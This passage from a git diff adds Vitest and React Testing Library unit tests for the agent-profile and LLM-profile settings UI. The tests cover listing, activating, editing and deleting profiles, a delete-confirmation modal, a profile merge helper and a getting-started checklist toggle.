+    vi.mocked(AgentProfilesService.getProfile).mockResolvedValue({
+      name: "custom",
+      profile: {
+        schema_version: 1,
+        id: "p-2",
+        name: "custom",
+        revision: 1,
+        agent_kind: "openhands",
+        llm_profile_ref: "default",
+        enable_sub_agents: false,
+      },
+    } as never);
+    emitControl = {
+      agentType: "openhands",
+      isValid: true,
+      isDirty: false,
+      buildAgentProfileFields: () => ({
+        agent_kind: "openhands",
+        mcp_server_refs: null,
+        enable_sub_agents: false,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("edit-agent-profile"));
+    await screen.findByTestId("mock-agent-settings");
+    expect(screen.getByTestId("save-agent-profile-btn")).toBeDisabled();
+  });
+
+  it("blocks an OpenHands save when no LLM profile is available", async () => {
+    llmProfilesData = { profiles: [], active_profile: null };
+    emitControl = {
+      agentType: "openhands",
+      isValid: true,
+      isDirty: true,
+      buildAgentProfileFields: () => ({
+        agent_kind: "openhands",
+        mcp_server_refs: null,
+        enable_sub_agents: false,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = await openCreateAndName("my-oh");
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() =>
+      expect(displayErrorToast).toHaveBeenCalledWith(
+        "SETTINGS$AGENT_PROFILE_LLM_REQUIRED",
+      ),
+    );
+    expect(saveMutate).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/settings/agent-profiles/agent-profiles-manager.test.tsx b/__tests__/components/settings/agent-profiles/agent-profiles-manager.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9be86e4a371110c7d4557b8fae9ed3b8b1c6cfac
--- /dev/null
+++ b/__tests__/components/settings/agent-profiles/agent-profiles-manager.test.tsx
@@ -0,0 +1,245 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AgentProfilesManager } from "#/components/features/settings/agent-profiles/agent-profiles-manager";
+import AgentProfilesService, {
+  type AgentProfileSummary,
+} from "#/api/agent-profiles-service/agent-profiles-service.api";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, params?: Record<string, string>) => {
+      const translations: Record<string, string> = {
+        SETTINGS$AVAILABLE_PROFILES: "Available Profiles",
+        SETTINGS$ADD_AGENT_PROFILE: "Add agent profile",
+        SETTINGS$PROFILES_LOAD_ERROR: "Failed to load profiles",
+        SETTINGS$PROFILES_EMPTY: "No profiles saved yet",
+        SETTINGS$PROFILE_ACTIVE: "Active",
+        SETTINGS$PROFILE_DEFAULT: "Default",
+        SETTINGS$PROFILE_MENU: "Profile menu",
+        SETTINGS$PROFILE_EDIT: "Edit",
+        SETTINGS$PROFILE_SET_ACTIVE: "Set as active",
+        SETTINGS$PROFILE_DELETE_TITLE: "Delete Profile",
+        SETTINGS$AGENT_TYPE_ACP: "ACP",
+        SETTINGS$PROFILE_DELETE_CONFIRMATION: params?.name
+          ? `Are you sure you want to delete "${params.name}"?`
+          : "Are you sure you want to delete this profile?",
+        SETTINGS$PROFILE_ACTIVATED: params?.name
+          ? `Profile "${params.name}" activated`
+          : "Profile activated",
+        BUTTON$DELETE: "Delete",
+        BUTTON$CANCEL: "Cancel",
+        ERROR$GENERIC: "An error occurred",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api");
+vi.mock("#/utils/custom-toast-handlers");
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: { id: "b1", kind: "local" },
+    orgId: null,
+  }),
+}));
+
+// Gating hook: `true` by default (local / owner-admin); flipped per test to
+// exercise the cloud view-only member path.
+const canManage = vi.hoisted(() => ({ value: true }));
+vi.mock("#/hooks/use-can-manage-org-profiles", () => ({
+  useCanManageOrgProfiles: () => canManage.value,
+}));
+
+const mockProfiles: AgentProfileSummary[] = [
+  {
+    id: "id-oh",
+    name: "my-openhands",
+    agent_kind: "openhands",
+    revision: 0,
+    llm_profile_ref: "default",
+    mcp_server_refs: null,
+  },
+  {
+    id: "id-acp",
+    name: "my-claude",
+    agent_kind: "acp",
+    revision: 0,
+    llm_profile_ref: null,
+    mcp_server_refs: null,
+  },
+];
+
+describe("AgentProfilesManager", () => {
+  let queryClient: QueryClient;
+
+  const renderManager = (
+    props: {
+      onAddProfile?: () => void;
+      onEditProfile?: (profile: AgentProfileSummary) => void;
+    } = {},
+  ) =>
+    render(
+      <QueryClientProvider client={queryClient}>
+        <AgentProfilesManager {...props} />
+      </QueryClientProvider>,
+    );
+
+  beforeEach(() => {
+    canManage.value = true;
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("displays the section title and profiles", async () => {
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles,
+      active_agent_profile_id: "id-oh",
+    });
+
+    renderManager();
+
+    expect(screen.getByText("Available Profiles")).toBeInTheDocument();
+    await screen.findByText("my-openhands");
+    expect(screen.getByText("my-claude")).toBeInTheDocument();
+    // OpenHands profiles show their referenced LLM profile; ACP shows the kind.
+    expect(screen.getByText("default")).toBeInTheDocument();
+    expect(screen.getByText("ACP")).toBeInTheDocument();
+  });
+
+  it("marks the active profile", async () => {
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles,
+      active_agent_profile_id: "id-oh",
+    });
+
+    renderManager();
+
+    const badge = await screen.findByTestId("agent-profile-active-badge");
+    expect(badge).toHaveTextContent("Default");
+  });
+
+  it("shows the Add button and fires onAddProfile", async () => {
+    const onAddProfile = vi.fn();
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: [],
+      active_agent_profile_id: null,
+    });
+
+    renderManager({ onAddProfile });
+
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("add-agent-profile"));
+    expect(onAddProfile).toHaveBeenCalledTimes(1);
+  });
+
+  it("hides mutate controls for view-only members (canManage false)", async () => {
+    canManage.value = false;
+    const onAddProfile = vi.fn();
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles,
+      active_agent_profile_id: "id-oh",
+    });
+
+    renderManager({ onAddProfile });
+
+    // The list still renders, but there is no Add button and no row actions.
+    await screen.findByText("my-openhands");
+    expect(screen.queryByTestId("add-agent-profile")).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("agent-profile-menu-trigger"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the empty state when there are no profiles", async () => {
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: [],
+      active_agent_profile_id: null,
+    });
+
+    renderManager();
+
+    await screen.findByText("No profiles saved yet");
+  });
+
+  it("shows an error message when loading fails", async () => {
+    vi.mocked(AgentProfilesService.listProfiles).mockRejectedValue(
+      new Error("Network error"),
+    );
+
+    renderManager();
+
+    await screen.findByText("Failed to load profiles");
+  });
+
+  it("calls onEditProfile from the row menu", async () => {
+    const onEditProfile = vi.fn();
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles,
+      active_agent_profile_id: "id-oh",
+    });
+
+    renderManager({ onEditProfile });
+
+    await screen.findByText("my-openhands");
+    const user = userEvent.setup();
+    const triggers = screen.getAllByTestId("agent-profile-menu-trigger");
+    await user.click(triggers[0]);
+    await user.click(screen.getByText("Edit"));
+
+    expect(onEditProfile).toHaveBeenCalledWith(mockProfiles[0]);
+  });
+
+  it("activates a profile by id from the row menu", async () => {
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles,
+      active_agent_profile_id: "id-oh",
+    });
+    vi.mocked(AgentProfilesService.activateProfile).mockResolvedValue({
+      id: "id-acp",
+      message: "ok",
+      agent_settings_applied: false,
+    });
+
+    renderManager();
+
+    await screen.findByText("my-claude");
+    const user = userEvent.setup();
+    // Second row (my-claude) is not active, so Set active is enabled.
+    const triggers = screen.getAllByTestId("agent-profile-menu-trigger");
+    await user.click(triggers[1]);
+    await user.click(screen.getByText("Set as active"));
+
+    expect(AgentProfilesService.activateProfile).toHaveBeenCalledWith("id-acp");
+  });
+
+  it("opens the delete modal from the row menu", async () => {
+    vi.mocked(AgentProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles,
+      active_agent_profile_id: "id-oh",
+    });
+
+    renderManager();
+
+    await screen.findByText("my-claude");
+    const user = userEvent.setup();
+    const triggers = screen.getAllByTestId("agent-profile-menu-trigger");
+    await user.click(triggers[1]);
+    await user.click(screen.getByText("Delete"));
+
+    expect(
+      screen.getByText('Are you sure you want to delete "my-claude"?'),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/agent-profiles/merge-agent-profile-save-input.test.ts b/__tests__/components/settings/agent-profiles/merge-agent-profile-save-input.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0c889b9289ee37b1912f6173fac83be1e9083818
--- /dev/null
+++ b/__tests__/components/settings/agent-profiles/merge-agent-profile-save-input.test.ts
@@ -0,0 +1,155 @@
+import { describe, expect, it } from "vitest";
+import type {
+  AgentProfile,
+  AgentProfileSaveInput,
+} from "#/api/agent-profiles-service/agent-profiles-service.api";
+import { mergeAgentProfileSaveInput } from "#/components/features/settings/agent-profiles/merge-agent-profile-save-input";
+
+// Mirrors the seeded `default` profile: fields the minimal editor does NOT
+// model (condenser, verification, suffix, mcp_server_refs, the disabled_skills
+// deny-list) carry non-default values so a wipe-to-defaults would be visible.
+// `disabled_skills` rides untyped (the pinned ts-client predates it) — the
+// merge must still round-trip it, so the fixture includes it via the cast.
+const storedOpenHands = {
+  schema_version: 1,
+  id: "11111111-1111-1111-1111-111111111111",
+  name: "default",
+  revision: 3,
+  agent_kind: "openhands",
+  llm_profile_ref: "old-llm",
+  agent: "CodeActAgent",
+  system_message_suffix: "Be terse.",
+  condenser: { kind: "NoOpCondenserSettings" },
+  verification: {
+    critic_enabled: true,
+    critic_mode: "finish_and_message",
+    enable_iterative_refinement: true,
+    critic_threshold: 0.8,
+    max_refinement_iterations: 5,
+    critic_server_url: null,
+    critic_model_name: null,
+  },
+  enable_sub_agents: false,
+  enable_switch_llm_tool: false,
+  tool_concurrency_limit: 4,
+  mcp_server_refs: ["github"],
+  disabled_skills: ["deploy-checklist"],
+} as unknown as AgentProfile;
+
+const storedAcp = {
+  schema_version: 1,
+  id: "22222222-2222-2222-2222-222222222222",
+  name: "claude",
+  revision: 1,
+  agent_kind: "acp",
+  acp_server: "claude-code",
+  acp_model: "claude-opus-4-8",
+  acp_session_mode: "bypassPermissions",
+  acp_prompt_timeout: 900,
+  acp_command: null,
+  acp_args: null,
+  mcp_server_refs: ["linear"],
+} as unknown as AgentProfile;
+
+describe("mergeAgentProfileSaveInput", () => {
+  it("preserves unmodeled OpenHands fields under the edited ones", () => {
+    const edited: AgentProfileSaveInput = {
+      agent_kind: "openhands",
+      enable_sub_agents: true,
+      llm_profile_ref: "new-llm",
+    };
+
+    const merged = mergeAgentProfileSaveInput(storedOpenHands, edited);
+
+    // Edited fields win.
+    expect(merged).toMatchObject({
+      agent_kind: "openhands",
+      enable_sub_agents: true,
+      llm_profile_ref: "new-llm",
+    });
+    // Fields the editor doesn't model survive the whole-profile overwrite.
+    expect(merged).toMatchObject({
+      condenser: { kind: "NoOpCondenserSettings" },
+      verification: { critic_enabled: true, critic_threshold: 0.8 },
+      system_message_suffix: "Be terse.",
+      mcp_server_refs: ["github"],
+      disabled_skills: ["deploy-checklist"],
+      enable_switch_llm_tool: false,
+      tool_concurrency_limit: 4,
+    });
+  });
+
+  it("lets an edited enable_switch_llm_tool win over the stored value", () => {
+    // The editor now models the field, so an edited value must override the
+    // stored one rather than being carried under it. The field rides untyped
+    // (the pinned ts-client predates it), hence the cast.
+    const edited = {
+      agent_kind: "openhands",
+      enable_sub_agents: false,
+      enable_switch_llm_tool: true,
+      llm_profile_ref: "new-llm",
+    } as unknown as AgentProfileSaveInput;
+
+    const merged = mergeAgentProfileSaveInput(storedOpenHands, edited);
+
+    expect(merged).toMatchObject({ enable_switch_llm_tool: true });
+  });
+
+  it("preserves unmodeled ACP fields under the edited ones", () => {
+    const edited: AgentProfileSaveInput = {
+      agent_kind: "acp",
+      acp_server: "claude-code",
+      acp_model: "claude-sonnet-5",
+      acp_command: null,
+      acp_args: null,
+    };
+
+    const merged = mergeAgentProfileSaveInput(storedAcp, edited);
+
+    expect(merged).toMatchObject({
+      agent_kind: "acp",
+      acp_model: "claude-sonnet-5",
+      acp_session_mode: "bypassPermissions",
+      acp_prompt_timeout: 900,
+      mcp_server_refs: ["linear"],
+    });
+  });
+
+  it("strips server-managed identity from the merge", () => {
+    const merged = mergeAgentProfileSaveInput(storedOpenHands, {
+      agent_kind: "openhands",
+      enable_sub_agents: true,
+      llm_profile_ref: "new-llm",
+    });
+
+    // The path name is authoritative and the server preserves the namesake's
+    // id / bumps revision itself; posting stale identity would only mislead.
+    expect(merged).not.toHaveProperty("id");
+    expect(merged).not.toHaveProperty("name");
+    expect(merged).not.toHaveProperty("revision");
+  });
+
+  it("sends a clean variant payload on an agent_kind switch", () => {
+    const edited: AgentProfileSaveInput = {
+      agent_kind: "acp",
+      acp_server: "codex",
+      acp_model: null,
+      acp_command: null,
+      acp_args: null,
+    };
+
+    // openhands → acp: carrying stored openhands fields over would produce a
+    // mongrel payload the server's extra="forbid" union rejects.
+    expect(mergeAgentProfileSaveInput(storedOpenHands, edited)).toEqual(edited);
+  });
+
+  it("passes the edited fields through on create (no stored profile)", () => {
+    const edited: AgentProfileSaveInput = {
+      agent_kind: "openhands",
+      enable_sub_agents: false,
+      llm_profile_ref: "default",
+    };
+
+    expect(mergeAgentProfileSaveInput(null, edited)).toEqual(edited);
+  });
+});
diff --git a/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx b/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..cf9eb8ada0f3a9689fdaff7853c356c75740a5f9
--- /dev/null
+++ b/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx
@@ -0,0 +1,48 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { GettingStartedChecklistSwitch } from "#/components/features/settings/app-settings/getting-started-checklist-switch";
+import { SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY } from "#/components/features/sidebar/sidebar-onboarding-checklist.constants";
+import { readSidebarOnboardingChecklistDismissed } from "#/components/features/sidebar/sidebar-onboarding-checklist-storage";
+
+describe("GettingStartedChecklistSwitch", () => {
+  beforeEach(() => {
+    window.localStorage.clear();
+  });
+
+  it("shows the checklist by default and hides it when toggled off", async () => {
+    const user = userEvent.setup();
+    render(<GettingStartedChecklistSwitch />);
+
+    const toggle = screen.getByTestId("show-getting-started-checklist-switch");
+    expect(toggle).toBeChecked();
+    expect(readSidebarOnboardingChecklistDismissed()).toBe(false);
+
+    await user.click(toggle);
+
+    expect(toggle).not.toBeChecked();
+    expect(
+      window.localStorage.getItem(
+        SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY,
+      ),
+    ).toBe("true");
+  });
+
+  it("re-enables the checklist when toggled back on", async () => {
+    window.localStorage.setItem(
+      SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY,
+      "true",
+    );
+
+    const user = userEvent.setup();
+    render(<GettingStartedChecklistSwitch />);
+
+    const toggle = screen.getByTestId("show-getting-started-checklist-switch");
+    expect(toggle).not.toBeChecked();
+
+    await user.click(toggle);
+
+    expect(toggle).toBeChecked();
+    expect(readSidebarOnboardingChecklistDismissed()).toBe(false);
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/delete-profile-modal.test.tsx b/__tests__/components/settings/llm-profiles/delete-profile-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c200b56842d6fb9744c4265f84cb06906edaa560
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/delete-profile-modal.test.tsx
@@ -0,0 +1,220 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { DeleteProfileModal } from "#/components/features/settings/llm-profiles/delete-profile-modal";
+import { ProfileInfo } from "#/api/profiles-service/profiles-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import * as toastHandlers from "#/utils/custom-toast-handlers";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, params?: Record<string, string>) => {
+      const translations: Record<string, string> = {
+        "SETTINGS$PROFILE_DELETE_TITLE": "Delete Profile",
+        "SETTINGS$PROFILE_DELETE_CONFIRMATION": params?.name
+          ? `Are you sure you want to delete "${params.name}"?`
+          : "Are you sure you want to delete this profile?",
+        "SETTINGS$PROFILE_DELETED": params?.name
+          ? `Profile "${params.name}" deleted`
+          : "Profile deleted",
+        "BUTTON$DELETE": "Delete",
+        "BUTTON$CANCEL": "Cancel",
+        "ERROR$GENERIC": "An error occurred",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+vi.mock("#/utils/custom-toast-handlers");
+
+const mockProfile: ProfileInfo = {
+  name: "profile-to-delete",
+  model: "openai/gpt-4",
+  base_url: null,
+  api_key_set: true,
+};
+
+describe("DeleteProfileModal", () => {
+  let queryClient: QueryClient;
+
+  const renderModal = (
+    profile: ProfileInfo | null,
+    onClose = vi.fn(),
+  ) => {
+    return render(
+      <QueryClientProvider client={queryClient}>
+        <DeleteProfileModal profile={profile} onClose={onClose} />
+      </QueryClientProvider>,
+    );
+  };
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("returns null when profile is null", () => {
+    const { container } = renderModal(null);
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("renders the modal with confirmation message", () => {
+    renderModal(mockProfile);
+    expect(
+      screen.getByText('Are you sure you want to delete "profile-to-delete"?'),
+    ).toBeInTheDocument();
+  });
+
+  it("shows Delete and Cancel buttons", () => {
+    renderModal(mockProfile);
+    expect(screen.getByTestId("delete-profile-confirm")).toHaveTextContent(
+      "Delete",
+    );
+    expect(screen.getByText("Cancel")).toBeInTheDocument();
+  });
+
+  it("places Cancel before Delete in the footer so the dominant action is the last focusable button", () => {
+    // Arrange: render the modal so both footer buttons are mounted.
+    renderModal(mockProfile);
+
+    // Act: locate both footer buttons.
+    const cancel = screen.getByText("Cancel");
+    const danger = screen.getByTestId("delete-profile-confirm");
+
+    // Assert: Cancel precedes the dominant Delete action in DOM order.
+    // eslint-disable-next-line no-bitwise
+    expect(
+      cancel.compareDocumentPosition(danger) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+
+  it("calls onClose when Cancel is clicked", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    renderModal(mockProfile, handleClose);
+
+    await user.click(screen.getByText("Cancel"));
+
+    expect(handleClose).toHaveBeenCalledTimes(1);
+    expect(ProfilesService.deleteProfile).not.toHaveBeenCalled();
+  });
+
+  it("calls deleteProfile and shows success toast on successful delete", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    vi.mocked(ProfilesService.deleteProfile).mockResolvedValue({
+      name: "profile-to-delete",
+      message: "Profile deleted",
+    });
+
+    renderModal(mockProfile, handleClose);
+
+    await user.click(screen.getByTestId("delete-profile-confirm"));
+
+    await waitFor(() => {
+      expect(ProfilesService.deleteProfile).toHaveBeenCalledWith(
+        "profile-to-delete",
+      );
+    });
+
+    expect(toastHandlers.displaySuccessToast).toHaveBeenCalledWith(
+      'Profile "profile-to-delete" deleted',
+    );
+    expect(handleClose).toHaveBeenCalled();
+  });
+
+  it("shows error toast on delete failure", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    vi.mocked(ProfilesService.deleteProfile).mockRejectedValue(
+      new Error("Delete failed"),
+    );
+
+    renderModal(mockProfile, handleClose);
+
+    await user.click(screen.getByTestId("delete-profile-confirm"));
+
+    await waitFor(() => {
+      expect(toastHandlers.displayErrorToast).toHaveBeenCalledWith(
+        "Delete failed",
+      );
+    });
+
+    expect(handleClose).not.toHaveBeenCalled();
+  });
+
+  it("shows generic error message for non-Error exceptions", async () => {
+    const user = userEvent.setup();
+    vi.mocked(ProfilesService.deleteProfile).mockRejectedValue("Unknown error");
+
+    renderModal(mockProfile);
+
+    await user.click(screen.getByTestId("delete-profile-confirm"));
+
+    await waitFor(() => {
+      expect(toastHandlers.displayErrorToast).toHaveBeenCalledWith(
+        "An error occurred",
+      );
+    });
+  });
+
+  it("delete button has danger variant styling", () => {
+    renderModal(mockProfile);
+    const deleteButton = screen.getByTestId("delete-profile-confirm");
+    // The BrandButton with variant="danger" should be rendered
+    expect(deleteButton).toBeInTheDocument();
+  });
+
+  describe("isPending state", () => {
+    it("prevents closing modal during deletion", async () => {
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.deleteProfile).mockImplementation(
+        () => new Promise(() => {}), // Never resolves
+      );
+      const handleClose = vi.fn();
+      renderModal(mockProfile, handleClose);
+
+      await user.click(screen.getByTestId("delete-profile-confirm"));
+      await user.click(screen.getByText("Cancel"));
+
+      expect(handleClose).not.toHaveBeenCalled();
+    });
+
+    it("disables Cancel button during deletion", async () => {
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.deleteProfile).mockImplementation(
+        () => new Promise(() => {}), // Never resolves
+      );
+      renderModal(mockProfile);
+
+      await user.click(screen.getByTestId("delete-profile-confirm"));
+
+      expect(screen.getByText("Cancel")).toBeDisabled();
+    });
+
+    it("disables Delete button during deletion", async () => {
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.deleteProfile).mockImplementation(
+        () => new Promise(() => {}), // Never resolves
+      );
+      renderModal(mockProfile);
+
+      await user.click(screen.getByTestId("delete-profile-confirm"));
+
+      expect(screen.getByTestId("delete-profile-confirm")).toBeDisabled();
+    });
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/llm-profiles-manager.test.tsx b/__tests__/components/settings/llm-profiles/llm-profiles-manager.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..267c150606d3e8051d18371be4bc641a369bfb67
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/llm-profiles-manager.test.tsx
@@ -0,0 +1,292 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { LlmProfilesManager } from "#/components/features/settings/llm-profiles/llm-profiles-manager";
+import ProfilesService, {
+  ProfileInfo,
+} from "#/api/profiles-service/profiles-service.api";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, params?: Record<string, string>) => {
+      const translations: Record<string, string> = {
+        "SETTINGS$AVAILABLE_PROFILES": "Available LLM Profiles",
+        "SETTINGS$ADD_LLM_PROFILE": "Add LLM Profile",
+        "SETTINGS$PROFILES_LOAD_ERROR": "Failed to load profiles",
+        "SETTINGS$PROFILES_EMPTY": "No profiles saved yet",
+        "SETTINGS$PROFILE_ACTIVE": "Active",
+        "SETTINGS$PROFILE_MENU": "Profile menu",
+        "SETTINGS$PROFILE_EDIT": "Edit",
+        "SETTINGS$PROFILE_SET_ACTIVE": "Set as active",
+        "SETTINGS$PROFILE_RENAME_TITLE": "Rename Profile",
+        "SETTINGS$PROFILE_DELETE_TITLE": "Delete Profile",
+        "SETTINGS$PROFILE_DELETE_CONFIRMATION": params?.name
+          ? `Are you sure you want to delete "${params.name}"?`
+          : "Are you sure you want to delete this profile?",
+        "SETTINGS$PROFILE_ACTIVATED": params?.name
+          ? `Profile "${params.name}" activated`
+          : "Profile activated",
+        "SETTINGS$PROFILE_NAME_LABEL": "Profile Name",
+        "SETTINGS$PROFILE_NAME_PLACEHOLDER": "Enter profile name",
+        "SETTINGS$PROFILE_NAME_RULE":
+          "1-64 chars, start with alphanumeric, then alphanumerics or . _ -",
+        "BUTTON$RENAME": "Rename",
+        "BUTTON$DELETE": "Delete",
+        "BUTTON$CANCEL": "Cancel",
+        "ERROR$GENERIC": "An error occurred",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+vi.mock("#/utils/custom-toast-handlers");
+
+const mockProfiles: ProfileInfo[] = [
+  {
+    name: "gpt-4-profile",
+    model: "openai/gpt-4",
+    base_url: null,
+    api_key_set: true,
+  },
+  {
+    name: "claude-profile",
+    model: "anthropic/claude-3",
+    base_url: "https://api.anthropic.com",
+    api_key_set: false,
+  },
+];
+
+describe("LlmProfilesManager", () => {
+  let queryClient: QueryClient;
+
+  const renderManager = (props: {
+    onAddProfile?: () => void;
+    onEditProfile?: (profile: ProfileInfo) => void;
+  } = {}) => {
+    return render(
+      <QueryClientProvider client={queryClient}>
+        <LlmProfilesManager {...props} />
+      </QueryClientProvider>,
+    );
+  };
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("displays the section title", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager();
+
+    expect(screen.getByText("Available LLM Profiles")).toBeInTheDocument();
+  });
+
+  it("shows Add LLM Profile button when onAddProfile is provided", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [], active_profile: null,
+    });
+
+    renderManager({ onAddProfile: vi.fn() });
+
+    expect(screen.getByTestId("add-llm-profile")).toBeInTheDocument();
+    expect(screen.getByText("Add LLM Profile")).toBeInTheDocument();
+  });
+
+  it("does not show Add LLM Profile button when onAddProfile is not provided", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [], active_profile: null,
+    });
+
+    renderManager();
+
+    expect(screen.queryByTestId("add-llm-profile")).not.toBeInTheDocument();
+  });
+
+  it("calls onAddProfile when Add LLM Profile is clicked", async () => {
+    const user = userEvent.setup();
+    const handleAddProfile = vi.fn();
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [], active_profile: null,
+    });
+
+    renderManager({ onAddProfile: handleAddProfile });
+
+    await user.click(screen.getByTestId("add-llm-profile"));
+
+    expect(handleAddProfile).toHaveBeenCalledTimes(1);
+  });
+
+  it("displays profiles when they exist", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager();
+
+    await screen.findByText("gpt-4-profile");
+    expect(screen.getByText("claude-profile")).toBeInTheDocument();
+  });
+
+  it("shows empty state when no profiles exist", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: [], active_profile: null,
+    });
+
+    renderManager();
+
+    await screen.findByText("No profiles saved yet");
+  });
+
+  it("shows loading spinner while loading", () => {
+    // Mock a never-resolving promise to keep loading state
+    vi.mocked(ProfilesService.listProfiles).mockImplementation(
+      () => new Promise(() => {}),
+    );
+
+    renderManager();
+
+    expect(screen.getByTestId("loading-spinner")).toBeInTheDocument();
+  });
+
+  it("shows error message when loading fails", async () => {
+    vi.mocked(ProfilesService.listProfiles).mockRejectedValue(
+      new Error("Network error"),
+    );
+
+    renderManager();
+
+    await screen.findByText("Failed to load profiles");
+  });
+
+  it("calls onEditProfile when Edit is clicked from profile menu", async () => {
+    const user = userEvent.setup();
+    const handleEditProfile = vi.fn();
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager({ onEditProfile: handleEditProfile });
+
+    // Wait for profiles to load
+    await screen.findByText("gpt-4-profile");
+
+    // Click the first profile's menu trigger
+    const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+    await user.click(menuTriggers[0]);
+
+    // Click Edit
+    await user.click(screen.getByText("Edit"));
+
+    expect(handleEditProfile).toHaveBeenCalledWith(mockProfiles[0]);
+  });
+
+  it("opens rename modal when Rename is clicked from profile menu", async () => {
+    const user = userEvent.setup();
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+      profiles: mockProfiles, active_profile: "gpt-4-profile",
+    });
+
+    renderManager();
+
+    await screen.findByText("gpt-4-profile");
+
+    const menuTriggers = screen.getAllByTestId("profile-menu-trigger");
+    await user.click(menuTriggers[0]);
+    await user.click(screen.getByText("Rename"));
+
+    // Rename modal should appear with input pre-filled
+    expect(screen.getByTestId("rename-profile-input")).toHaveValue(
+      "gpt-4-profile",
+    );
+  });
+
+  it("opens delete modal when Delete is clicked from profile menu", async () => {
+    const user = userEvent.setup();
+    vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
